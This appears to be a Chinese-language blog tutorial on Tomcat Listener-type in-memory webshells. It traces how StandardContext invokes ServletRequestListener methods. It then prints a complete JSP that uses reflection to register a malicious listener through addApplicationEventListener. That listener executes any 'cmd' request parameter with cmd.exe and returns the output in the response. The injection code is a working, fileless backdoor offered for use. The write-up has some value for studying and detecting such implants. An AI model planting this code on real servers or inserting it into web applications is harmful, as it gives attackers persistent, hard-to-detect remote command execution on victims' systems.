0x00 前言
Listener型内存马比Filter型内存马简单一些。
0x01 Listener流程分析
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.listener;
import jakarta.servlet.ServletRequestEvent; import jakarta.servlet.ServletRequestListener; import jakarta.servlet.annotation.WebListener;
@WebListener("/listener1") public class Listener1 implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) {
}
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
这里提一嘴,我使用的Tomcat版本是10.1.40,对应Java11,所以有些步骤与其他师傅不同,但是核心流程都是一致的。
至于为什么要实现ServletRequestListener接口,简单来说,ServletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法和fireRequestDestroyEvent方法,正因如此,Listener型内存马不需要动态设置路由。
调用Listener
StandardContext的fireRequestInitEvent方法调用了Listener。
先通过getApplicationEventListeners方法获得Listener,实际上是从applicationEventListenersList这个List里获取:

我们可以通过调用addApplicationEventListener方法把恶意的Listener型内存马放到该List里。
调用Listener的requestInitialized方法:

与fireRequestInitEvent方法对应的还有fireRequestDestroyEvent方法,会调用Listener的requestDestroyed方法。所以无论把恶意内容写到Listener的两个方法中的哪个,都是可以的。
0x02 构造内存马
所以思路就很简单了:
- 编写恶意Listener
- 获取StandardContext
- 把恶意Listener放入StandardContext类的applicationEventListenersList里
jsp文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <%@ page import="java.util.Scanner" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Context" %> <%! public class Listener2 implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) {}
public void requestDestroyed(ServletRequestEvent sre){ HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } }
} %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Listener2 listener2 = new Listener2(); context.addApplicationEventListener(listener2); %>
|